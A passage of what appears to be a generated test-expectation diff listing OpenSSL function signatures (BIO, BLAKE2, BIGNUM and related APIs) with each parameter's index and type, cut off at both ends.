*,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 5 | void * | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 6 | const OSSL_PARAM[] | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 7 | OSSL_STORE_post_process_info_fn | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 8 | void * | +| (BIO *,const char *,const OCSP_REQUEST *,int) | | OCSP_sendreq_new | 0 | BIO * | +| (BIO *,const char *,const OCSP_REQUEST *,int) | | OCSP_sendreq_new | 1 | const char * | +| (BIO *,const char *,const OCSP_REQUEST *,int) | | OCSP_sendreq_new | 2 | const OCSP_REQUEST * | +| (BIO *,const char *,const OCSP_REQUEST *,int) | | OCSP_sendreq_new | 3 | int | +| (BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *) | | OSSL_HTTP_proxy_connect | 0 | BIO * | +| (BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *) | | OSSL_HTTP_proxy_connect | 1 | const char * | +| (BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *) | | OSSL_HTTP_proxy_connect | 2 | const char * | +| (BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *) | | OSSL_HTTP_proxy_connect | 3 | const char * | +| (BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *) | | OSSL_HTTP_proxy_connect | 4 | const char * | +| (BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *) | | OSSL_HTTP_proxy_connect | 5 | int | +| (BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *) | | OSSL_HTTP_proxy_connect | 6 | BIO * | +| (BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *) | | OSSL_HTTP_proxy_connect | 7 | const char * | +| (BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int) | | X509V3_extensions_print | 0 | BIO * | +| (BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int) | | X509V3_extensions_print | 1 | const char * | +| (BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int) | | X509V3_extensions_print | 2 | const stack_st_X509_EXTENSION * | +| (BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int) | | X509V3_extensions_print | 3 | unsigned long | +| (BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int) | | X509V3_extensions_print | 4 | int | +| (BIO *,const char *,va_list) | | BIO_vprintf | 0 | BIO * | +| (BIO *,const char *,va_list) | | BIO_vprintf | 1 | const char * | +| (BIO *,const char *,va_list) | | BIO_vprintf | 2 | va_list | +| (BIO *,const stack_st_X509_EXTENSION *) | | TS_ext_print_bio | 0 | BIO * | +| (BIO *,const stack_st_X509_EXTENSION *) | | TS_ext_print_bio | 1 | const stack_st_X509_EXTENSION * | +| (BIO *,const unsigned char *,long,int) | | ASN1_parse | 0 | BIO * | +| (BIO *,const unsigned char *,long,int) | | ASN1_parse | 1 | const unsigned char * | +| (BIO *,const unsigned char *,long,int) | | ASN1_parse | 2 | long | +| (BIO *,const unsigned char *,long,int) | | ASN1_parse | 3 | int | +| (BIO *,const unsigned char *,long,int,int) | | ASN1_parse_dump | 0 | BIO * | +| (BIO *,const unsigned char *,long,int,int) | | ASN1_parse_dump | 1 | const unsigned char * | +| (BIO *,const unsigned char *,long,int,int) | | ASN1_parse_dump | 2 | long | +| (BIO *,const unsigned char *,long,int,int) | | ASN1_parse_dump | 3 | int | +| (BIO *,const unsigned char *,long,int,int) | | ASN1_parse_dump | 4 | int | +| (BIO *,int *) | | BIO_get_retry_BIO | 0 | BIO * | +| (BIO *,int *) | | BIO_get_retry_BIO | 1 | int * | +| (BIO *,int *) | | ossl_b2i_bio | 0 | BIO * | +| (BIO *,int *) | | ossl_b2i_bio | 1 | int * | +| (BIO *,int) | | BIO_clear_flags | 0 | BIO * | +| (BIO *,int) | | BIO_clear_flags | 1 | int | +| (BIO *,int) | | BIO_find_type | 0 | BIO * | +| (BIO *,int) | | BIO_find_type | 1 | int | +| (BIO *,int) | | BIO_set_flags | 0 | BIO * | +| (BIO *,int) | | BIO_set_flags | 1 | int | +| (BIO *,int) | | BIO_set_init | 0 | BIO * | +| (BIO *,int) | | BIO_set_init | 1 | int | +| (BIO *,int) | | BIO_set_retry_reason | 0 | BIO * | +| (BIO *,int) | | BIO_set_retry_reason | 1 | int | +| (BIO *,int) | | BIO_set_shutdown | 0 | BIO * | +| (BIO *,int) | | BIO_set_shutdown | 1 | int | +| (BIO *,int) | | TXT_DB_read | 0 | BIO * | +| (BIO *,int) | | TXT_DB_read | 1 | int | +| (BIO *,int,BIO **,CMS_ContentInfo **) | | SMIME_read_CMS_ex | 0 | BIO * | +| (BIO *,int,BIO **,CMS_ContentInfo **) | | SMIME_read_CMS_ex | 1 | int | +| (BIO *,int,BIO **,CMS_ContentInfo **) | | SMIME_read_CMS_ex | 2 | BIO ** | +| (BIO *,int,BIO **,CMS_ContentInfo **) | | SMIME_read_CMS_ex | 3 | CMS_ContentInfo ** | +| (BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *) | | SMIME_read_ASN1_ex | 0 | BIO * | +| (BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *) | | SMIME_read_ASN1_ex | 1 | int | +| (BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *) | | SMIME_read_ASN1_ex | 2 | BIO ** | +| (BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *) | | SMIME_read_ASN1_ex | 3 | const ASN1_ITEM * | +| (BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *) | | SMIME_read_ASN1_ex | 4 | ASN1_VALUE ** | +| (BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *) | | SMIME_read_ASN1_ex | 5 | OSSL_LIB_CTX * | +| (BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *) | | SMIME_read_ASN1_ex | 6 | const char * | +| (BIO *,int,const ASN1_TYPE *,int) | | ossl_print_attribute_value | 0 | BIO * | +| (BIO *,int,const ASN1_TYPE *,int) | | ossl_print_attribute_value | 1 | int | +| (BIO *,int,const ASN1_TYPE *,int) | | ossl_print_attribute_value | 2 | const ASN1_TYPE * | +| (BIO *,int,const ASN1_TYPE *,int) | | ossl_print_attribute_value | 3 | int | +| (BIO *,int,const char *,int,long,long) | | BIO_debug_callback | 0 | BIO * | +| (BIO *,int,const char *,int,long,long) | | BIO_debug_callback | 1 | int | +| (BIO *,int,const char *,int,long,long) | | BIO_debug_callback | 2 | const char * | +| (BIO *,int,const char *,int,long,long) | | BIO_debug_callback | 3 | int | +| (BIO *,int,const char *,int,long,long) | | BIO_debug_callback | 4 | long | +| (BIO *,int,const char *,int,long,long) | | BIO_debug_callback | 5 | long | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | BIO_debug_callback_ex | 0 | BIO * | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | BIO_debug_callback_ex | 1 | int | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | BIO_debug_callback_ex | 2 | const char * | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | BIO_debug_callback_ex | 3 | size_t | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | BIO_debug_callback_ex | 4 | int | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | BIO_debug_callback_ex | 5 | long | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | BIO_debug_callback_ex | 6 | int | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | BIO_debug_callback_ex | 7 | size_t * | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | bio_dump_callback | 0 | BIO * | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | bio_dump_callback | 1 | int | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | bio_dump_callback | 2 | const char * | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | bio_dump_callback | 3 | size_t | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | bio_dump_callback | 4 | int | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | bio_dump_callback | 5 | long | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | bio_dump_callback | 6 | int | +| (BIO *,int,const char *,size_t,int,long,int,size_t *) | | bio_dump_callback | 7 | size_t * | +| (BIO *,pem_password_cb *,void *) | | b2i_DSA_PVK_bio | 0 | BIO * | +| (BIO *,pem_password_cb *,void *) | | b2i_DSA_PVK_bio | 1 | pem_password_cb * | +| (BIO *,pem_password_cb *,void *) | | b2i_DSA_PVK_bio | 2 | void * | +| (BIO *,pem_password_cb *,void *) | | b2i_PVK_bio | 0 | BIO * | +| (BIO *,pem_password_cb *,void *) | | b2i_PVK_bio | 1 | pem_password_cb * | +| (BIO *,pem_password_cb *,void *) | | b2i_PVK_bio | 2 | void * | +| (BIO *,pem_password_cb *,void *) | | b2i_RSA_PVK_bio | 0 | BIO * | +| (BIO *,pem_password_cb *,void *) | | b2i_RSA_PVK_bio | 1 | pem_password_cb * | +| (BIO *,pem_password_cb *,void *) | | b2i_RSA_PVK_bio | 2 | void * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_DSA_PVK_bio_ex | 0 | BIO * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_DSA_PVK_bio_ex | 1 | pem_password_cb * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_DSA_PVK_bio_ex | 2 | void * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_DSA_PVK_bio_ex | 3 | OSSL_LIB_CTX * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_DSA_PVK_bio_ex | 4 | const char * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_PVK_bio_ex | 0 | BIO * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_PVK_bio_ex | 1 | pem_password_cb * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_PVK_bio_ex | 2 | void * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_PVK_bio_ex | 3 | OSSL_LIB_CTX * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_PVK_bio_ex | 4 | const char * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_RSA_PVK_bio_ex | 0 | BIO * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_RSA_PVK_bio_ex | 1 | pem_password_cb * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_RSA_PVK_bio_ex | 2 | void * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_RSA_PVK_bio_ex | 3 | OSSL_LIB_CTX * | +| (BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | b2i_RSA_PVK_bio_ex | 4 | const char * | +| (BIO *,size_t,..(*)(..),void *) | | ossl_quic_demux_new | 0 | BIO * | +| (BIO *,size_t,..(*)(..),void *) | | ossl_quic_demux_new | 1 | size_t | +| (BIO *,size_t,..(*)(..),void *) | | ossl_quic_demux_new | 2 | ..(*)(..) | +| (BIO *,size_t,..(*)(..),void *) | | ossl_quic_demux_new | 3 | void * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read_bio | 0 | BIO * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read_bio | 1 | stack_st_X509_INFO * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read_bio | 2 | pem_password_cb * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *) | | PEM_X509_INFO_read_bio | 3 | void * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_bio_ex | 0 | BIO * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_bio_ex | 1 | stack_st_X509_INFO * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_bio_ex | 2 | pem_password_cb * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_bio_ex | 3 | void * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_bio_ex | 4 | OSSL_LIB_CTX * | +| (BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_X509_INFO_read_bio_ex | 5 | const char * | +| (BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_data_create_ex | 0 | BIO * | +| (BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_data_create_ex | 1 | unsigned int | +| (BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_data_create_ex | 2 | OSSL_LIB_CTX * | +| (BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_data_create_ex | 3 | const char * | +| (BIO *,void *) | | BIO_set_data | 0 | BIO * | +| (BIO *,void *) | | BIO_set_data | 1 | void * | +| (BIO *,void *,int,int) | | app_http_tls_cb | 0 | BIO * | +| (BIO *,void *,int,int) | | app_http_tls_cb | 1 | void * | +| (BIO *,void *,int,int) | | app_http_tls_cb | 2 | int | +| (BIO *,void *,int,int) | | app_http_tls_cb | 3 | int | +| (BIO *,void *,size_t,size_t *) | | BIO_read_ex | 0 | BIO * | +| (BIO *,void *,size_t,size_t *) | | BIO_read_ex | 1 | void * | +| (BIO *,void *,size_t,size_t *) | | BIO_read_ex | 2 | size_t | +| (BIO *,void *,size_t,size_t *) | | BIO_read_ex | 3 | size_t * | +| (BIO_ADDR *) | | BIO_ADDR_sockaddr_noconst | 0 | BIO_ADDR * | +| (BIO_ADDR *,const BIO_ADDR *) | | BIO_ADDR_copy | 0 | BIO_ADDR * | +| (BIO_ADDR *,const BIO_ADDR *) | | BIO_ADDR_copy | 1 | const BIO_ADDR * | +| (BIO_ADDR *,const sockaddr *) | | BIO_ADDR_make | 0 | BIO_ADDR * | +| (BIO_ADDR *,const sockaddr *) | | BIO_ADDR_make | 1 | const sockaddr * | +| (BIO_ADDR *,int,const void *,size_t,unsigned short) | | BIO_ADDR_rawmake | 0 | BIO_ADDR * | +| (BIO_ADDR *,int,const void *,size_t,unsigned short) | | BIO_ADDR_rawmake | 1 | int | +| (BIO_ADDR *,int,const void *,size_t,unsigned short) | | BIO_ADDR_rawmake | 2 | const void * | +| (BIO_ADDR *,int,const void *,size_t,unsigned short) | | BIO_ADDR_rawmake | 3 | size_t | +| (BIO_ADDR *,int,const void *,size_t,unsigned short) | | BIO_ADDR_rawmake | 4 | unsigned short | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_callback_ctrl | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_callback_ctrl | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_create | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_create | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_ctrl | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_ctrl | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_destroy | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_destroy | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_gets | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_gets | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_puts | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_puts | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_read | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_read | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_read_ex | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_read_ex | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_recvmmsg | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_recvmmsg | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_sendmmsg | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_sendmmsg | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_write | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_write | 1 | ..(*)(..) | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_write_ex | 0 | BIO_METHOD * | +| (BIO_METHOD *,..(*)(..)) | | BIO_meth_set_write_ex | 1 | ..(*)(..) | +| (BLAKE2B_CTX *,const BLAKE2B_PARAM *) | | ossl_blake2b_init | 0 | BLAKE2B_CTX * | +| (BLAKE2B_CTX *,const BLAKE2B_PARAM *) | | ossl_blake2b_init | 1 | const BLAKE2B_PARAM * | +| (BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *) | | ossl_blake2b_init_key | 0 | BLAKE2B_CTX * | +| (BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *) | | ossl_blake2b_init_key | 1 | const BLAKE2B_PARAM * | +| (BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *) | | ossl_blake2b_init_key | 2 | const void * | +| (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 0 | BLAKE2B_CTX * | +| (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 1 | const void * | +| (BLAKE2B_CTX *,const void *,size_t) | | ossl_blake2b_update | 2 | size_t | +| (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_personal | 0 | BLAKE2B_PARAM * | +| (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_personal | 1 | const uint8_t * | +| (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_personal | 2 | size_t | +| (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_salt | 0 | BLAKE2B_PARAM * | +| (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_salt | 1 | const uint8_t * | +| (BLAKE2B_PARAM *,const uint8_t *,size_t) | | ossl_blake2b_param_set_salt | 2 | size_t | +| (BLAKE2B_PARAM *,uint8_t) | | ossl_blake2b_param_set_digest_length | 0 | BLAKE2B_PARAM * | +| (BLAKE2B_PARAM *,uint8_t) | | ossl_blake2b_param_set_digest_length | 1 | uint8_t | +| (BLAKE2B_PARAM *,uint8_t) | | ossl_blake2b_param_set_key_length | 0 | BLAKE2B_PARAM * | +| (BLAKE2B_PARAM *,uint8_t) | | ossl_blake2b_param_set_key_length | 1 | uint8_t | +| (BLAKE2S_CTX *,const BLAKE2S_PARAM *) | | ossl_blake2s_init | 0 | BLAKE2S_CTX * | +| (BLAKE2S_CTX *,const BLAKE2S_PARAM *) | | ossl_blake2s_init | 1 | const BLAKE2S_PARAM * | +| (BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *) | | ossl_blake2s_init_key | 0 | BLAKE2S_CTX * | +| (BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *) | | ossl_blake2s_init_key | 1 | const BLAKE2S_PARAM * | +| (BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *) | | ossl_blake2s_init_key | 2 | const void * | +| (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 0 | BLAKE2S_CTX * | +| (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 1 | const void * | +| (BLAKE2S_CTX *,const void *,size_t) | | ossl_blake2s_update | 2 | size_t | +| (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_personal | 0 | BLAKE2S_PARAM * | +| (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_personal | 1 | const uint8_t * | +| (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_personal | 2 | size_t | +| (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_salt | 0 | BLAKE2S_PARAM * | +| (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_salt | 1 | const uint8_t * | +| (BLAKE2S_PARAM *,const uint8_t *,size_t) | | ossl_blake2s_param_set_salt | 2 | size_t | +| (BLAKE2S_PARAM *,uint8_t) | | ossl_blake2s_param_set_digest_length | 0 | BLAKE2S_PARAM * | +| (BLAKE2S_PARAM *,uint8_t) | | ossl_blake2s_param_set_digest_length | 1 | uint8_t | +| (BLAKE2S_PARAM *,uint8_t) | | ossl_blake2s_param_set_key_length | 0 | BLAKE2S_PARAM * | +| (BLAKE2S_PARAM *,uint8_t) | | ossl_blake2s_param_set_key_length | 1 | uint8_t | +| (BN_BLINDING *,BN_CTX *) | | BN_BLINDING_update | 0 | BN_BLINDING * | +| (BN_BLINDING *,BN_CTX *) | | BN_BLINDING_update | 1 | BN_CTX * | +| (BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *) | | BN_BLINDING_create_param | 0 | BN_BLINDING * | +| (BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *) | | BN_BLINDING_create_param | 1 | const BIGNUM * | +| (BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *) | | BN_BLINDING_create_param | 2 | BIGNUM * | +| (BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *) | | BN_BLINDING_create_param | 3 | BN_CTX * | +| (BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *) | | BN_BLINDING_create_param | 4 | ..(*)(..) | +| (BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *) | | BN_BLINDING_create_param | 5 | BN_MONT_CTX * | +| (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 0 | BN_BLINDING * | +| (BN_BLINDING *,unsigned long) | | BN_BLINDING_set_flags | 1 | unsigned long | +| (BN_CTX *) | | BN_CTX_get | 0 | BN_CTX * | +| (BN_CTX *) | | ossl_bn_get_libctx | 0 | BN_CTX * | +| (BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *) | | ossl_ffc_params_validate_unverifiable_g | 0 | BN_CTX * | +| (BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *) | | ossl_ffc_params_validate_unverifiable_g | 1 | BN_MONT_CTX * | +| (BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *) | | ossl_ffc_params_validate_unverifiable_g | 2 | const BIGNUM * | +| (BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *) | | ossl_ffc_params_validate_unverifiable_g | 3 | const BIGNUM * | +| (BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *) | | ossl_ffc_params_validate_unverifiable_g | 4 | const BIGNUM * | +| (BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *) | | ossl_ffc_params_validate_unverifiable_g | 5 | BIGNUM * | +| (BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *) | | ossl_ffc_params_validate_unverifiable_g | 6 | int * | +| (BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_rsa_get_lcm | 0 | BN_CTX * | +| (BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_rsa_get_lcm | 1 | const BIGNUM * | +| (BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_rsa_get_lcm | 2 | const BIGNUM * | +| (BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_rsa_get_lcm | 3 | BIGNUM * | +| (BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_rsa_get_lcm | 4 | BIGNUM * | +| (BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_rsa_get_lcm | 5 | BIGNUM * | +| (BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_rsa_get_lcm | 6 | BIGNUM * | +| (BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *) | | ossl_rsa_get_lcm | 7 | BIGNUM * | +| (BN_CTX *,const DSA *,const BIGNUM *,BIGNUM *) | | ossl_dsa_generate_public_key | 0 | BN_CTX * | +| (BN_CTX *,const DSA *,const BIGNUM *,BIGNUM *) | | ossl_dsa_generate_public_key | 1 | const DSA * | +| (BN_CTX *,const DSA *,const BIGNUM *,BIGNUM *) | | ossl_dsa_generate_public_key | 2 | const BIGNUM * | +| (BN_CTX *,const DSA *,const BIGNUM *,BIGNUM *) | | ossl_dsa_generate_public_key | 3 | BIGNUM * | +| (BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *) | | ossl_ffc_generate_private_key | 0 | BN_CTX * | +| (BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *) | | ossl_ffc_generate_private_key | 1 | const FFC_PARAMS * | +| (BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *) | | ossl_ffc_generate_private_key | 2 | int | +| (BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *) | | ossl_ffc_generate_private_key | 3 | int | +| (BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *) | | ossl_ffc_generate_private_key | 4 | BIGNUM * | +| (BN_GENCB *) | | BN_GENCB_get_arg | 0 | BN_GENCB * | +| (BN_GENCB *,..(*)(..),void *) | | BN_GENCB_set | 0 | BN_GENCB * | +| (BN_GENCB *,..(*)(..),void *) | | BN_GENCB_set | 1 | ..(*)(..) | +| (BN_GENCB *,..(*)(..),void *) | | BN_GENCB_set | 2 | void * | +| (BN_GENCB *,..(*)(..),void *) | | BN_GENCB_set_old | 0 | BN_GENCB * | +| (BN_GENCB *,..(*)(..),void *) | | BN_GENCB_set_old | 1 | ..(*)(..) | +| (BN_GENCB *,..(*)(..),void *) | | BN_GENCB_set_old | 2 | void * | +| (BN_GENCB *,EVP_PKEY_CTX *) | | evp_pkey_set_cb_translate | 0 | BN_GENCB * | +| (BN_GENCB *,EVP_PKEY_CTX *) | | evp_pkey_set_cb_translate | 1 | EVP_PKEY_CTX * | +| (BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *) | | BN_MONT_CTX_set_locked | 0 | BN_MONT_CTX ** | +| (BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *) | | BN_MONT_CTX_set_locked | 1 | CRYPTO_RWLOCK * | +| (BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *) | | BN_MONT_CTX_set_locked | 2 | const BIGNUM * | +| (BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *) | | BN_MONT_CTX_set_locked | 3 | BN_CTX * | +| (BN_MONT_CTX *,BN_MONT_CTX *) | | BN_MONT_CTX_copy | 0 | BN_MONT_CTX * | +| (BN_MONT_CTX *,BN_MONT_CTX *) | | BN_MONT_CTX_copy | 1 | BN_MONT_CTX * | +| (BN_MONT_CTX *,const BIGNUM *,BN_CTX *) | | BN_MONT_CTX_set | 0 | BN_MONT_CTX * | +| (BN_MONT_CTX *,const 